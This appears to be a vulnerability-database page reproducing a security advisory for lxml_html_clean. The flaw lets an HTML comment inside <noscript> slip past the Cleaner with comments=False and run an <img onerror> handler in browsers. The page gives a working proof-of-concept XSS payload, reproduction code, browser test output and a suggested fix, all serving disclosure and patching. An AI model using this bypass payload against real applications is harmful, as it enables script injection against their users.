Vulnerability DatabaseGHSA-vfhw-gfwp-vxfj

GHSA-vfhw-gfwp-vxfj: 
Python vulnerability analysis and mitigation

Summary

With comments=False, the Cleaner removes only IE conditional comments (lxml_html_clean/clean.py:363-366, kill_conditional_comments at 599-607) and keeps every other comment (421-422, 511-513). libxml2 parses the content of <noscript> as markup, so <!--</noscript><img src=x onerror=...>--> is a single comment node and is returned unchanged. A browser with scripting enabled treats <noscript> as raw text, closes it at the first </noscript>, and parses the rest as live markup. The <img onerror> handler runs when the cleaned output is rendered in a page, with no click. The default Cleaner() is not affected, because it removes all comments. The same comment outside <noscript> stays an inert comment in the browser. This is the parser difference from GHSA-5jfw-gq64-q45f. The </noscript check added for it (clean.py:668-670) is applied to <style> text only. Tested on lxml_html_clean 0.4.6 from PyPI (same commit as main), lxml 6.1.3, libxml2 2.14.6, Python 3.12.16, Chromium 159.0.8154.13 headless, with no network. The output is byte-identical on 0.1.0, 0.2.0, 0.4.0, 0.4.4 (lxml 5.1.0, libxml2 2.12.3) and 0.4.5.

Reproduction

from lxml_html_clean import Cleaner
P = '''<noscript><!--</noscript><img src=x onerror="window.__fired=(window.__fired||0)+1;document.title='FIRED'">--></noscript>'''
print(Cleaner(comments=False).clean_html(P))
print(Cleaner().clean_html(P))
[A1] claim: comment in noscript, comments=False
  out: <noscript><!--</noscript><img src=x onerror="window.__fired=(window.__fired||0)+1;document.title='FIRED'">--></noscript>
[A2] same input, default Cleaner()
  out: <noscript></noscript>
[A3] same comment outside noscript, comments=False
  out: <div><!--</noscript><img src=x onerror="window.__fired=(window.__fired||0)+1;document.title='FIRED'">--></div>

Each output was placed inside a <div> of a static page and loaded in Chromium:

A1.html                    title=FIRED  fired=1 scripting_on=True imgs=['<img src="x" onerror="window.__fired=(window.__fired||0)+1;document.title=\'FIRED\'">'] noscript=[{'children': 0, 'text': '<!--'}] comments=[]
A2.html                    title=CLEAN  fired=0 scripting_on=True imgs=[] noscript=[{'children': 0, 'text': ''}] comments=[]
A3.html                    title=CLEAN  fired=0 scripting_on=True imgs=[] noscript=[] comments=['</noscript><img src=x onerror="window.__']

Assigning the cleaned string to innerHTML also runs the handler.

Suggested fix

In kill_conditional_comments, also drop a comment when its text contains </ followed by the tag name of one of its ancestors. With that change the payload becomes <noscript></noscript>, and comments such as <!-- note: 1 < 2 --> and <!-- <b>old</b> --> are kept. Reusing _looks_like_tag_content (clean.py:52-54) on the comment text also stops the payload, but it removes commented-out markup like <!-- <b>old</b> --> too.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-m6fh-58r7-x697HIGH8.4
  • Python logoPython
  • fickling
NoYesDec 03, 2026
GHSA-ggjq-x9vq-v787HIGH8.3
  • Python logoPython
  • web-cheacker-mainditect
NoYesDec 03, 2026
GHSA-5gvf-7wqf-r4cvMEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 03, 2026
GHSA-vfhw-gfwp-vxfjMEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 03, 2026
GHSA-j7c5-jjc2-fx3wMEDIUM4
  • Python logoPython
  • hegemony-inventory-netbox
NoYesDec 03, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management